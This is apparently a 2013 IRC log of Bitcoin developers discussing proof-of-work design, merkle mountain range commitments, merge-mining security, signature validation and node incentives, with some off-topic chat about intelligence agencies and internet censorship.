10:28 < jgarzik> bitcoin's curve and hash-fingerprint method, as specified in https://en.bitcoin.it/wiki/Identity_protocol_v1
10:29 < petertodd> Yeah, you can packetize all that stuff, initially by using the private signature algorithm numbers, and maybe later get an RFC assigned. I've looked into this stuff for OpenTimestamps. There's also per-signature annotation data possible, which is very extendable and would probably cover a lot of things.
10:30 < petertodd> You might also ask why are you so wedded to Bitcoin ECDSA anyway? Using standard RSA lets users make use of pre-existing hardware security stuff to keep their keys secure - a big win.
10:30 < petertodd> IE a bitcoin sacrifice can easily be a signature annotation.
10:32 < jgarzik> And there's no question the software landscape sucks. Everybody forks the same 1990s era codebase (patched up to modern crypto but not necessarily modern engineering standards). Ditto Tor. The packetization is baroque. But it's widely used, so rather stuck with the last.
10:33 < petertodd> Indeed it is. But baroque packetization and what not are going to be the easiest parts of the problem.
10:37 < petertodd> Keep in mind too how useful SINs added to OpenPGP would be: I'd love it if there was the infrastructure for my local government to attest that my PGP key was correct, and I'd love it if there was a nice way to sacrifice some Bitcoins in support of it.
10:38 < petertodd> There's no good reason to have a bright line separating the two - fundementally it's all web-of-trust anyway.
10:40 < petertodd> Incidentally, OpenPGP should have the notion of negative signatures: I'm signing to say I'm pretty sure this signature is wrong, or this person is untrustworthy.
11:00 < jgarzik> agreed there is no /need/ for a line of separation
11:01 < petertodd> yes, and the line of separation is actually harmful in that it makes useful things, like the government of ontario signing my PGP key, not possible
11:09 < jgarzik> OK back from meeting. Like I said, don't mind looking into wedding the two. Codebase is an obstacle; packetization is just annoying thing to complain about, but not change :)
11:10 < jgarzik> so a just-the-bits-I-need codebase library compatible with OpenPGP is option, like you mention
11:13 < petertodd> jgarzik: yeah, well as I said, I need one too because I want to do timestamping of PGP signatures
11:15 < petertodd> oh, and amir said he's got plans to improve the web-of-trust, and he likes python...
16:14 < phantomcircuit> sipa, ps that wasn't a joke
16:15 < sipa> don't worry, i wasn't planning on answering
16:16 < phantomcircuit> i didn't think you were :)
16:27 < skinnkavaj> Have anyone reviewed this yet? https://bitcointalk.org/index.php?topic=308972.0
17:53 < Luke-Jr> skinnkavaj: sounds like a contradiction. 90-bit isn't strong.
--- Log closed Sat Oct 19 00:00:22 2013
--- Log opened Sat Oct 19 00:00:22 2013
00:11 < petertodd> jgarzik: http://www.rubygems-openpgp-ca.org/ <- interesting signing authority for ruby gems, the model could have some relevance when thinking about SINs
00:32 < gmaxwell> those people who's pow I was tearing apart a awhile back? they've posted a new one now offering a bounty to "convince [them] it's not better than scrypt"
00:32 < gmaxwell> I quote a line from their implementation:
00:32 < gmaxwell> fc::usleep( fc::microseconds(1000*1000*(1-_effort)) );
01:02 < phantomcircuit> gmaxwell, lolololol
01:02 < phantomcircuit> gmaxwell, what's the bounty?
01:02 < gmaxwell> 30 BTC. Have at it.
01:03 < phantomcircuit> gmaxwell, goat them into making it more
01:03 < phantomcircuit> then claim it
01:03 < gmaxwell> Well, I know from my past expirence with them that they're claim any flaw is a placeholder, so collecting will likely be hard unless you really smoke them bad.
01:03 < phantomcircuit> gmaxwell, it's the mastercoin people right?
01:03 < gmaxwell> (and indeed, I'm sure the sleep for low difficulty really is just a placeholder honestly.. still crazy to see it there)
01:06 < gmaxwell> phantomcircuit: these people: https://bitcointalk.org/index.php?topic=313479.0
01:14 < phantomcircuit> oh
01:14 < phantomcircuit> shrug
04:43 < petertodd> gmaxwell: oh, that was fun to tear apart - I nearly wound up replying with a bunch of VHDL code
04:44 < gmaxwell> petertodd: hahah
04:44 < gmaxwell> I had fun de-memoryhardening their last one.
04:44 < gmaxwell> but it was even more of a toy.
04:45 < petertodd> gmaxwell: I actually sketched out a VHDL implementation of an ASIC, although I held off posting because I was sure there was enough detail there to make a fool of myself :P
04:45 < petertodd> what was there last one?
04:46 < warren> will they actually pay?
04:47 < gmaxwell> https://bitcointalk.org/index.php?topic=279771.msg2996823#msg2996823
04:49 < petertodd> sheesh
04:49 < gmaxwell> they they responded with a bunch of "oh it's not really done" and then rapidly put up a new one.
04:49 < gmaxwell> and apparently they have a new one still. :P
04:49 < petertodd> Though this is an interesting question: maybe it's not possible to make a proof-of-work algorithm where verification is symmetric, and yet doing the work must be sequential - there's a similar result from timelock puzzles IIRC.
04:51 < gmaxwell> verification is symmetric?
04:51 < petertodd> er, asymemetric
04:53 < gmaxwell> well does fiat-shamirizing my idiot solution to proof of storage yield what you want? POS the data you are working on, sort the leafs, build a new hashtree and construct a verification proof that convinces someone that it queries an sorted version of the list.
04:53 < gmaxwell> The proof would be somewhat bit, alas.
04:54 < sipa> wait, a PoW functiin that sleeps...?
14:40 < adam3us> amiller: i think you can almost do it (ZKP) - the thing that is eluding me is a blind proof of work where the work survives the unblinding operation and is encoded in representation problem format (like pederson commitment or brands credentials)
14:40 < adam3us> amiller: if you had that you could prove the number of confirmations on a coin > 6 without revealing the block
14:41 < adam3us> amiller: and with homomorphic values you could prove everything adds up before mining
14:44 < adam3us> amiller: there are a number of failed partially useful prototype blind proofs of works on this thread https://bitcointalk.org/index.php?topic=308009.msg3302321#msg3302321
14:46 < adam3us> amiller: and some related ones on this thread for secure offloadable KDF to harden brain wallets or encrypted wallets (that your attaker has the encrypted wallet file) https://bitcointalk.org/index.php?topic=311000.msg3341985#msg3341985
14:48 < adam3us> as close as I got was a "partial discrete log", however its really hard to get the work to survive unblinding like a close schnorr signature forgery (not an actual forgery but a number somehow close to a real one with an arbitrarily closeness metric)
14:51 < adam3us> amiller: "amiller: well committed transaction doesn't mean the transaction is valid ... adam3us: it does mean its not double spent however" i think you might be able to do build on that because committed tx prevents many miner abuses
14:55 < amiller> adam3us, how would you get fees for the committed tx
14:56 < amiller> because the committed tx still takes up utxo space it should have to be paid for
15:05 < adam3us> amiller: yes the commited tx has to include a clear text fee outside, which has to be sent from a clean/taint free address
15:06 < adam3us> in this way you can make tainted tx, fixing the taint problem (at least as far as miner influence)
15:06 < adam3us> curiously even if 99.9% of mining power dislikes and would like to block your tx based on who you are, how much you're paying or who you're paying it to
15:07 < adam3us> they are essentially powerless to do it, because you are using their power against themselves
18:56 < Luke-Jr> https://en.bitcoin.it/wiki/Myths#Bitcoin_makes_self-sufficient_artificial_intelligence_possible.2C_which_will_in_turn_become_self-aware_and_decide_to_exterminate_humanity
18:56 < Luke-Jr> ^ elaboration would be good
18:56 < Luke-Jr> and/or better arguments against it
19:24 < gmaxwell> heh. We should alsk MIRI to write the response to that one.
19:24 < Luke-Jr> MIRI?
19:25 < petertodd> Luke-Jr: lol!
19:25 < gmaxwell> Luke-Jr: http://intelligence.org/research/
19:25 < Luke-Jr> interesting, didn't know that existed
19:26 < petertodd> Luke-Jr: I am a bit worried though, because just the other day an industrial robots safety controls malfunctioned and I got a damn hard kick to the groin... not quite sure what that means
19:28 < Luke-Jr> hmm
19:29 < petertodd> Maybe it's actually Litecoin that becomes self-aware? Or PPCoin?
19:29 < Luke-Jr> then I'd be dead
19:29 < gmaxwell> https://en.bitcoin.it/wiki/Myths#Bitcoin_makes_self-sufficient_artificial_intelligence_possible.2C_which_will_in_turn_become_self-aware_and_decide_to_exterminate_humanity revised answer.
19:29 < gmaxwell> maybe litecoin is self-aware but suicidal?
19:29 < petertodd> gmaxwell: ooh, maybe?
19:29 < Luke-Jr> lol
19:30 < Luke-Jr> gmaxwell: doh! Satoshi is AI!
19:30 < gmaxwell> (I was going for "Oh. Okay. ... hey, wait a minute! oh shit!" as the response to that response)
19:30 < petertodd> though if I were a self-aware AI, I'd want a PoW algorithm that was more general purpose
19:31 * petertodd is suspicious of NeuroCoin, the one with the neural-net based PoW algorithm
19:31 < Luke-Jr> I must have missed that one :o
19:31 < petertodd> lol, I'm sure if someone makes it it'll get adherents
19:31 < gmaxwell> petertodd: heheh. I'm imagining now an aprilfirst coin whos PoW is translating arabic phrases. :P
19:34 < petertodd> oh that's good...
19:34 < petertodd> or make one who's PoW happens to be running nuclear weapon simulations
19:35 < BlueMatt> brute forces encrypted information downloaded from *.nato.gov...
19:36 < petertodd> or maybe the wikileaks dump?
19:36 < BlueMatt> heh
19:36 < petertodd> prove your trying to crack the key?
19:36 * petertodd wonders if there's a known header that could be used to verify if a crack worked
19:39 < warren> As if this chat room wasn't already on the NSA watch list.
19:39 < petertodd> actually, that'd be interesting: the pow would have to be for you to prove you tried to crack it, using AES similar to how SHA256 works. Except actually cracking the key isn't something you make progress too, so you'd have to add a separate rule that an actual crack is worth a reward.
19:40 < petertodd> So force guesses to be done with a PRNG, and you need to show that your guess was generated by H(pubkey + nonce)
19:40 < petertodd> er, really H(merkle-root + nonce)
19:40 < sipa> warren: watch list?
19:40 < sipa> warren: i expect most of you to be nsa agents
19:41 < BlueMatt> petertodd: find decrypted data that is either the correct value or < target and use that as pow
19:41 < BlueMatt> sipa: you arent? you may be the only one
19:42 < BlueMatt> petertodd: or, better yet, decrypted data who's hamming distance is < target from the real header
19:42 < sipa> BlueMatt: i didn't expect you guys to be so honest about that
19:43 < petertodd> BlueMatt: doh, yeah, that's perfect
19:43 < warren> BlueMatt: compartmentalization
19:43 * BlueMatt goes to code that up for next april
19:43 < warren> who watches the watchers?
19:44 < maaku> warren: i do
19:44 < petertodd> sipa: ha, just the other day I had a TLA agent ask me if I wanted him to set up an interview with another TLA agent he knew. (serious)
19:44 < petertodd> sipa: said TLA agent said "I can't blame you" when I declined, pointing out my answer would have been different six months ago...
19:45 < sipa> wth?
19:46 < BlueMatt> what was the presentation at one of the blackhat-cons like a year ago that went into detail on all the info they were able to get on classified projects from linkedin?
19:46 < BlueMatt> it was really quite comical
19:46 < petertodd> sipa: snowden; it's caused a huge crisis of confidence within all these agencies, they've got a lot of people internally who are reconsidering why they work for the people they do
19:47 < petertodd> sipa: remember that things are sufficiently compartmentalized that it's not "in your face" that the stuff snowden leaked was actually happening, and they're good at putting people with politics more like mine in departments that don't have to know
19:49 < petertodd> sipa: nevermind the outright embarassment... a lot of what's been leaked shows these agencies *aren't* all knowing and all powerful - a big part of the draw at working in places like that is you're working with the best and brightest, but, snowden shows pretty clearly that you aren't
19:50 < sipa> k
19:50 < jrmithdobbs> petertodd: this is not particularly surprising
19:50 < sipa> i can't say i've sufficiently followed it all
19:52 < petertodd> jrmithdobbs: yup, money can only do so much. Something I think is especially striking is how it's been revealed that the NSA relies really heavily on highly scripted checklists so that very average techs can executed attacks without getting into trouble.
19:53 < petertodd> jrmithdobbs: or how the crypto-attacks they do have all involve what people have been suspecting all along, and don't involve math all that beyond what is know publicly
19:53 < jrmithdobbs> petertodd: you're assuming they're paying thatwell, and they're not
19:53 < jrmithdobbs> petertodd: even for the people creating said attacks
19:54 < maaku> hah they definately do not pay well
19:54 < petertodd> maaku: ha, personal experience?
19:55 < maaku> worked for the government / contracting, yes, spy agency no
19:55 < jrmithdobbs> petertodd: eg, the fake "outrage" over snowden's salary is hilarious to me, he was making a little above average for his experience on the west coast, not even that much above really
19:55 < petertodd> What I was told, is that the pay isn't much beyond private sector, but the benefits are very good, esp retirement benefits that really induce people to stay for their whole careers and stay loyal.
19:55 < maaku> if you're a civil servent yes
19:56 < jrmithdobbs> petertodd: those are just rationalizations people make, the benefits aren't that great and haven't been anywhere in the fed gov since reagan
19:56 < sipa> jrmithdobbs: what was his pay?
19:56 < maaku> after 25yrs you get full pension (low six figures), and then you usually 'retire' to a higher paying private job
19:56 < jrmithdobbs> sipa: like 125ish iirc
19:56 < sipa> 125k USD/year?
19:56 < jrmithdobbs> ya
19:56 < sipa> that's all?
19:56 < maaku> yeah you could snag that out of college in silicon valley, in the right industry
19:56 < jrmithdobbs> ya
19:57 * sipa hides
19:57 < jrmithdobbs> exactly
19:57 < petertodd> maaku: sounds like what I was told. Of course, you want to be careful with pay: you don't always want people who are pay oriented, especially in the short term.
19:57 < sipa> jrmithdobbs: wikipedia says 200k
19:58 < petertodd> Note how reports are snowden was paid a heck of a lot fairly early in his career.
19:58 < jrmithdobbs> sipa: meh, so he got the equiv of stock grants
19:58 < jrmithdobbs> good for him
19:58 < maaku> sipa: IIRC he filed an income tax for one year that was closer to 200k, but that was with additional income and was a one-time thing
19:59 < maaku> but nevertheless that's of course what the media quotes
19:59 < jrmithdobbs> maaku: ah
20:01 < maaku> the thing is these jobs are *very* stable. so they usually hire people below market rates, and they stay for the stability
20:02 < jrmithdobbs> ya so long as you can cope with the bs
05:24 < petertodd> well, without UTXO commitments and SPV nodes being able to ask peers for UTXO's I'm not sure that there's actually much difference between P2SH^2 and not - dust rules make UTXO bloat expensive anyway, so data-using apps naturally will spend their UTXO's just to keep things cheap
05:24 < petertodd> point is, right now you *can't* query the UTXO set, so there's no difference to storing data in it, vs. storing data in the blockchain in general
05:25 < sipa> but P2SH^2 dosn't let you query it either
05:26 < sipa> gtg
05:27 < petertodd> no, but if you can't query, simple things like dust-rules are fine because there's no *advtange* to storing your data in the UTXO set
05:28 < petertodd> It's something I like about MMR TXO commitments: they *don't* make it easy to prove the existance of a *class* of TXOs
05:31 < sipa> right, but p2sh^2 makes storing any data at all hard
05:31 < petertodd> no, it's still perfectly possible with P2SH multisig
05:32 < petertodd> not much more expensive than a bare CHECKMULTISIG that you spend
05:32 < sipa> true
10:41 < jgarzik> gmaxwell, JFYI check out @jgarzik or @matthew_d_green on twitter, there have been some good conversations reviewing ECDSA + bitcoin
10:41 < jgarzik> (twitter is fscking awful for referencing threads like this...)
10:42 < jgarzik> sipa, ^
10:42 < jgarzik> https://twitter.com/pbarreto/status/392279389716504576 scroll up and down
10:47 < gmaxwell> what gibberish are these people spewing
10:47 < gmaxwell> of course it checks if the point is on the curve or the twist.
10:48 < gmaxwell> and our implementation checks signatures after creating them.
10:51 < gmaxwell> man, twitter sucks.
10:53 < gmaxwell> in addition to the email I sent you, I also posted this: https://bitcointalk.org/index.php?topic=285142.msg3118788#msg3118788
10:54 < gmaxwell> hm. but I don't seem to point out that bitcoin-qt validates after signing, (and I consider this a best practice)
10:54 < gmaxwell> I guess that should get put in neon lights someplace.
10:56 * jgarzik noticed that when adding signing to node-libcoin
10:56 < jgarzik> Just figured it was sane, good practice
10:57 < jgarzik> Didn't know that validate-after-signing was more important than that
11:02 < petertodd> jgarzik: I'll do my NODE_BLOOM bip as the first pull-req
11:02 < gmaxwell> yea, for our curve (which, like most, is not twist secure) bitflips during multiplies can result in you effectively using an alternative not-secure curve. The result won't validate... but it may be possible to recover private keys as a result.
11:04 < gmaxwell> though really, a better curve can only partially fix that: a bitflip in a pointer can just have the signature splat our your private key directly, if not validated. :P
11:07 < amiller> can anyone here tell me about DIANNA
11:07 < amiller> as far as i can tell it's the only elaborated idea that is susceptible to a kind of merge mining attack where you withold some data, and then later release it
11:07 < amiller> and someone who later sees it will choose the wrong chain because of timestamp order
12:21 < Muis> I thought of an alternative to proof-of-work, but I need some critic on it by someone with a sound knowledge of the bitcoin protocol
12:22 < Muis> so if anyone has the time/skills to review my idea, let me know!
12:57 < Luke-Jr> did gmaxwell resign as BIP editor?
13:09 < jgarzik> Luke-Jr, gmaxwell is fine too
13:10 < jgarzik> wiki-as-primary is not the best path forward, IMO
13:10 < Luke-Jr> sure, but I don't see why that means we should change BIP editor. gmaxwell has been doing a good job IMO :P
13:11 < jgarzik> TBH I simply was not aware of gmaxwell as BIP editor
13:11 < jgarzik> it seemed quite chaotic and unedited
13:13 < sipa> the 'editing' was just that he was the person to assign BIP numbers
13:28 < maaku> amiller: what's unique about the DIANNA merge-mine attack?
13:40 < maaku> you mean that you can simultaneously mine two or more forks, double-counting the PoW?
13:43 < gmaxwell> Yea, the only task I had was assigning the numbers when it looked like there was some agreement that there should be one. (No lack of desire to do more or less on my part, I'll do whatever people want)
18:51 < sipa> petertodd: care to explain MMR's in some more detail?
18:51 < petertodd> sure
18:51 < sipa> i can come up with a few datastructures that seem to match the general direction you're going in
18:51 < sipa> but i'd like to know exactly what you're thinking about
18:51 < petertodd> you read my thing on MMR's?
18:52 < sipa> no, where?
18:52 < petertodd> https://github.com/opentimestamps/opentimestamps-server/blob/master/doc/merkle-mountain-range.md
18:52 < petertodd> doesn't mention that they are cheaply updatable, but otherwise it's complete
18:59 < sipa> ok, so you have an O(1) append, O(log(n)) updatable merkleized datastructure
18:59 < sipa> what do you store in it?
18:59 < sipa> transaction outputs, including their spentness bit, i suppose
19:00 < petertodd> yup, same as the UTXO set
19:00 < petertodd> though I was thinking that H(scriptPubKey) wouldn't be a bad idea - kinda the same effect as P2SH^2
19:00 < warren> Regarding https://github.com/bitcoin/bitcoin/pull/2900 I'm guessing that the people with working exploits really don't want to discuss it in public.
19:00 < sipa> so they are not indexed in any way - you have to know where a particular element resides
19:00 < warren> The discussion has been dysfunctional from people being unwilling to discuss it openly.
19:01 < petertodd> sipa: yup, which is good, because that's what lets you append without having any of the data
19:02 < petertodd> warren: yeah, it's a complex issue... frankly, meh :)
19:02 < petertodd> warren: mike, gavin and I disagree on philosophical, not technical grounds
19:03 < petertodd> sipa: vs. UTXO sets where any given append might need a UTXO from any point in history
19:05 < sipa> so, how much does a client need to know to update his wallet's txo set?
19:05 < sipa> later blocks will only build new nodes next to, or on top of his nodes
19:06 < petertodd> sipa: well, basically you want a complete path to the most recent commitment. Now every new block will tend to invalidate the latter part of that path, but the beginning is only invalidated when adjacent transactions are spent.
19:07 < sipa> petertodd: so, i wonder, what if instead of a single mountain range, you just have a single tree per block
19:07 < sipa> with its transaction outputs, ordered
19:07 < petertodd> sipa: right! and I think that's a good idea actually, although you still need the MMR to commit the state of all blocks
19:07 < petertodd> ordering transaction outputs is nice of course for proof reasons
19:07 < sipa> that means that once a tx is in a mined block, a wallet doesn't need to know anything anymore
19:08 < sipa> you might even optimize a bit, by scrapping outputs spent within the block itself already
19:09 < petertodd> yeah, see, I'm a bit divided on that actually: I'm not sure that outputs being spent within a block is conducive to compact fraud proofs
19:09 < sipa> i'm unfamiliar with the word 'conducive'
19:10 < petertodd> I was thinking that given that wallets basically never have a good reason to spend unconfirmed coins that someone just gave them, it's not unreasonable to say txs in a block may only spend txs prior to that block, provided that tx replacement is availalbe to rewrite txs to add new outputs when you make a few txs in a row
19:10 < petertodd> "making a certain situation or outcome likely or possible."
19:10 < sipa> i don't see why they'd never have reason for that?
19:11 < petertodd> basically just that it's dangerous re: double-spends generally, not to say it's absolutely never useful
19:11 < petertodd> anyway, I gotta think about that more
19:11 < sipa> well in many cases you do trust the sender
19:11 < sipa> in particular when it's yourself
19:12 < petertodd> yes, although if it is yourself, you could just as easily replace the transaction with one with more outputs
19:12 < petertodd> (usually)
19:13 < sipa> i guess you can build an MMR on top of the block's root state hashes
19:14 < petertodd> yeah, which is ugly... I dunno, I'm just inclined to leave it out if it looks at all complex frankly. We really want fraud proofs to have as few code-paths as possible.
19:14 < sipa> but the benefit is relatively small - you just need to maintain each block's top
19:14 < petertodd> They terrify me enough already.
19:14 < sipa> which grows linearly
19:14 < petertodd> ?
19:14 < sipa> the number of blocks grows linearly in time
19:15 < petertodd> oh, no, building an MMR on top of that is absolutely mandatory to be able to generate fraud proofs
19:15 < sipa> hmm?
19:16 < petertodd> basically the issue is that while the size of the block root hashes is small, the TXO commitments of them change constantly as transactions are spent, so it's unrealistic to expect a low-bandwidth client to have an up-to-date version of that, yet they still will want to be able to reject a block
19:17 < maaku> it might be true though that it is simpler for a light(er) client to work with an MMR of block root hashes
19:17 < petertodd> for instance, imagine if every txout spent in a block was from a different block - that could be a few thousand roots changed at once even with 1MB blocks
19:18 < petertodd> maaku: yeah, and MMR's of block roots help out for other reasons too
19:18 < maaku> i mean, opposed with a straight MMR over a linear sequence of txouts
19:19 < petertodd> maaku: yeah, I was thinking that doing the MMR over just the block roots was the way to go - one good reason is it makes it conveivable that multiple nodes could co-operate to create a block in a low-bandwidth per node way
19:20 < petertodd> also keeps txin proofs reasonable small, especially if it were done with 20-byte hashes
19:23 < sipa> so, each txin must give the merkle path from the prevout point to a known root
19:23 < sipa> which can be used both to verify that it actually existed, and to compute the new root
19:24 < petertodd> exactly
19:24 < petertodd> and what's also nice is those proofs can be easily composed, as well as updated. (similar to maaku's points re: composing radix trees)
--- Log closed Tue Oct 22 00:00:31 2013
--- Log opened Tue Oct 22 00:00:31 2013
15:14 < gmaxwell> petertodd: RE: pay to contract... here is a snazzy #-wizards idea.
15:15 < gmaxwell> petertodd: merchant gives the proposed contract to the user along with a bitcoin pubkey and a pairing pubkey.
15:15 < gmaxwell> User picks a pairing pubkey and a bitcoin pubkey.
15:20 < gmaxwell> User sums the two pairing pubkeys to get a third, shared, pairing pubkey.
15:20 < gmaxwell> (darnit, lost power)
15:22 < gmaxwell> User uses the pairing pubkey and forms a chameleon hash on the contract. He then uses the pairing pubkey + contract hash as the contract with the merchants pubkey in a 1 of 2 pay to contract, with his other bitcoin pubkey in the other side.
15:23 < gmaxwell> The merchants accepts by redeeming the transaction.
15:23 < gmaxwell> The addition of the chameleon hash permits the merchant and the customer to cooperate to create alternative contracts.
15:23 < gmaxwell> So the blockchain is not evidence of the substance of their contracts if they don't choose it to be.
15:26 < gmaxwell> (One of the problems with pay to contract is that they make the existance of a contract public, so perhaps you could be coerced to providing the contract for a particular transaction)
16:47 < amiller> gmaxwell, petertodd one of you mentioned a python library for spamming the network with txs
16:47 < amiller> do you remember that
16:47 < amiller> i think it might have just been pyspend
16:47 < petertodd> ?
16:47 < amiller> not spamming the network but just taking a file and stuffing it in transactions
16:47 < petertodd> oh, the data upload script
16:48 < amiller> yeah that
16:48 < petertodd> that was inserted into the blockchain in marchish
16:48 < petertodd> I'm sure there's a pastebin of it somewhere
17:29 < gmaxwell> I almost forgot to do the obligitory internet sightseeing while in the UK.
17:29 < gmaxwell> Ah. There we go: "Sorry, the web page you have requested is not available through Virgin Media."
18:12 < midnightmagic> gmaxwell: what the hell?
18:14 < gmaxwell> censored internet. :)
18:15 < midnightmagic> gmaxwell: s/what the hell?/which website was it?/
18:15 < midnightmagic> such crap. all they're doing is providing strong pressure to make an uncensorable internet.
18:26 < maaku> is that the porn legislation, or are they blocking other stuff too?
18:27 < warren> does the law actually require that?
18:30 < pigeons> they caught him for attempted circumvention of the queen's filter
18:33 < petertodd> gmaxwell: what do you mean by "pairing pubkey" ?
18:34 < petertodd> gmaxwell: and what's a good and practical chameleon hash?
19:10 < maaku> warren: my understanding was the the PM tried to push legislation, then backed off when there was outcry and some ISPs agreed to preemptively filter
19:11 < maaku> but i'm not in the UK and haven't been paying attention recently
--- Log closed Wed Oct 23 00:00:35 2013
--- Log opened Wed Oct 23 00:00:35 2013
22:44 < gmaxwell> petertodd: any luck getting that coinjoin transaction mined yet?
--- Log closed Thu Oct 24 00:00:38 2013
--- Log opened Thu Oct 24 00:00:38 2013
00:09 < amiller> petertodd, so about DIANNA
00:10 < amiller> it claims that by being requiring that it contains a hash to a prent block in the Bitcoin chain that it's invulnerable to a 51% attack on DIANNA miners, as long as there's no 51% attack on Bitcoin proper
00:11 < amiller> and that just absolutely doesn't work
00:12 < gmaxwell> I tried to tell people about that on some other recent MM thread, but my patience in arging with people is, in fact, not boundless. (shocking, I know)
00:12 < petertodd> I think we found a bug in gmaxwell
00:13 < gmaxwell> Unfortunately I wasn't able to come up with a crisp statement about the security model, at least in the general cause absent a lot of implementation details.
00:13 < petertodd> I haven't gotten around to reading it, but it's probably vulnerable to data hiding attacks where you timestamp your chain and release it later
00:14 < gmaxwell> petertodd: if bitcoin miners aren't also XXX miners then a tiny minority of bitcoin hashpower can insert $bad or whatever commitments for the other thing. What happens then depends on the details of how the other thing works.
00:14 < petertodd> I wouldn't assume it's worthless though; it looks like in specific conditions timestamping instead of proof-of-work can work, for consensus although the incentives get weird and you become subject to attack by bitcoin miners
00:15 < amiller> oh i think i get it
00:15 < amiller> okay it is how i thought it was before
00:15 < amiller> so it does have to be a valid bitcoin block
00:15 < gmaxwell> petertodd: perhaps not worthless, but strong statements like "as strong as bitcoin" can't be true.
00:16 < petertodd> amiller: yeah, that's the only sane way to do it
00:16 < amiller> ugh i can't tell whether "the longest dianna chain" is choosen just by chronological order in bitcoin or whether it adds up the difficulty
00:16 < amiller> i think there isn't even any code for this for me to dredge through
00:16 < petertodd> gmaxwell: nope, OTOH statements like "way stronger than your shitty MM chain" can be
00:16 < gmaxwell> amiller: haha this totally sounds like this discussion: https://bitcointalk.org/index.php?topic=313347.0
00:16 < amiller> anyway in either case it offers no security beyond being an otherwise merge mined chain so they're flat wrong
00:16 < petertodd> if there's no code I wouldn't put too much effort into it
00:18 < amiller> ok, deletd
00:19 < amiller> btw i'm working on a paper to submit to IEEE Security and Privacy, in 3 weeks, the academic security conference for bigshots
00:19 < amiller> it's a "systemization of knowledge", so kind of a survey, but this one is about protocols using bitcoin as a platform, and all the proposed ideas for modifying bitcoin and altcoins, etc
00:20 < amiller> i'd paste a link but it's in too poor shape atm :/
00:20 < petertodd> oh yeah? I'm working on something about colored coins, which has kinda extended a bit into consensus systems in general
00:21 < petertodd> I'll post a link because I have no shame: https://github.com/petertodd/decentralized-consensus-systems
00:24 < gmaxwell> petertodd: https://bitcointalk.org/index.php?topic=317028.0 < perhaps they need some contract work done to produce nice proofs of ownership investors can check.
00:24 < petertodd> gmaxwell: good idea.
00:24 < petertodd> there was another group at the conf with a similar problem
00:25 < gmaxwell> if we're to have a future which isn't stuffed full of fractional reserve the tools need to exist soon so the community can force them onto people.
00:25 < gmaxwell> but it would be nice if someone who wanted them as a competative advantage would pay to get them built.
00:26 < amiller> what is the challenge with making a merkle tree storage-hard pow
00:27 < gmaxwell> no one who cares a lot about alternative pows has enough braincells to understand why such a thing would be desirable?
00:27 < amiller> i thought the scheme i described a long time ago that's based directly on dwork&naor memory-bound moderately hard puzzles works fine and is "asymmetric" in the sense that it's cheap to check rewgardless of how much work it takes
00:27 < gmaxwell> oh you mean for the proof of storage once.
00:27 < amiller> yes
00:28 < amiller> petertodd just reminded me about it
00:28 < gmaxwell> amiller: your stuff is more like "Proof of storage throughput over some data"
00:28 < amiller> right it involves reading instead of writing and reading
00:28 < gmaxwell> amiller: the storage-hard stuff we're talking about is proof of using up space.
00:29 < gmaxwell> (no real throughput component at all)
00:29 < amiller> and a merkle tree over it is too hard?
00:29 < amiller> oh
00:29 < amiller> but the space can be arbitrarily large
00:29 < amiller> as a parameter
00:30 < gmaxwell> amiller: yea. The idea is that you can use temporarily chewing up disk space as a gatekeeper to opening a peering connection, so that a diskspace bounded attacker can't use up all the connection capacity on the network.
00:31 < amiller> okay i think i see
00:31 < gmaxwell> (also has the benefit of basically zero hardware specialization gain, even stronger than any memory hard throughput function has)
00:32 < amiller> well i dont see about that
00:32 < amiller> you can make the memory hard throughput puzzle (or if you don't need it to be a scratchoff puzzle you can just do a single proof of tretrievability which is like one round of that) use arbitrary as much space
00:33 < petertodd> gmaxwell: and no, no luck in getting them mined
00:33 < gmaxwell> sure, but throughput puzzles at least have gains from making faster space. Bulk storage is one less thing to optimize for. And it can avoid an ongoing cost.
00:34 < amiller> well forget throuhgput, this isn't for mining
00:34 < amiller> it can be interactive challenge/responsse
00:34 < amiller> you can make them commit to an arbitrary merkle tree of power-of-two number of leaves n
00:35 < amiller> each leaf i consists of H(challenge || i)
00:35 < gmaxwell> amiller: for the goal I stated you need different state per every "server" or a client could have one copy of the data and connect to 100k servers.
00:35 * gmaxwell lets you talk
00:36 < amiller> okay so to make it a little easier do H(verifierID || i) for each leaf i
00:36 < amiller> (so they don't have to interact with you before preparing their disk)
00:36 < amiller> then verifier sends a challenge
00:36 < gmaxwell> and the challenge is?
00:36 < amiller> random string to use for this session or the next five minutes or whatever
18:50 < gmaxwell> nanotube: because presumably we don't have 99% of nodes being run by people who are out to make a profit doing it. Offering some money to run spy nodes (or whatever) would only switch a small percentage of the total nodes.
18:51 < gmaxwell> nanotube: vs if running a node were widely seen as a money making endeavor, perhaps it would switch most of them.
18:51 < gmaxwell> It's a concern, I'm not sure its a good one.
18:52 < gmaxwell> but I've seen with mining that introducing money into things creates a lot of weird effects. Pirate's hashrate buying service got a LOT of hashrate...
18:52 < nanotube> well, i see what you are saying. but i'm not sure if we model it with real variables, it's actually a concern. let's say currently we have N people running nodes for no compensation.
18:52 < nanotube> if we introduce compensation, we'll have those N people, plus P other people who would only run because of compensation
18:53 < gmaxwell> but will the N continue if there are M people running for pay where M >> N? Certantly my motivation to run nodes would be reduced if there were already plenty of them.
18:53 < gmaxwell> (My M is your P)
18:54 < gmaxwell> and in terms of network risks, the ratio of good to bad nodes can matter more than the absolute number of good nodes. E.g. if 99% of nodes are bad it doesn't matter if there are a million good nodes
you'll only infrequently connect to one.
18:54 < nanotube> ok, let's introduce that factor also. :)
18:54 < nanotube> irc sucks for this, i'm going to write some text.
18:55 < gmaxwell> Sweet our model now needs an ordinary differential equation. :P
18:56 < nanotube> heh
18:57 < gmaxwell> I haven't tried to model it in detail because I expect that I can pick parameters that go either way and won't be able to decide between them. :(
19:10 < nanotube> http://pastebin.com/CfNMB85D <- really naive model... basically since marginal benefit to running a 'good node' is larger if we offer compensation, it seems we'd be no worse off.
19:10 < nanotube> the only catch is, if our offering compensation increases probability that evil will use that technique to do evil.
19:16 < gmaxwell> yea, thats something that I specfically argued when I talked to the tor folks about doing this in tor... that there may be a kind of initial hump in getting people to think of running nodes as a viable enterprise that currently keeps an attacker from doing it.
19:16 < gmaxwell> I'm not sure.
19:23 < nanotube> in addition to the hump, the big hurdle of developing the technology would be taken care of.
19:23 < nanotube> cf, how easy it is to create $fakecoin now that bitcoin is out there.
19:25 < nanotube> but for tor it's somewhat different, because it doesn't get /more/ expensive to run a node over time. for bitcoin it does, so the end game is dramatic shrinkage in node count.
19:26 < nanotube> that said, dunno if you're aware, tor has started some compensation scheme, where some nonprofit in the netherlands is going to pay 3500/month (total) to however many nodes register with the program, or some such.
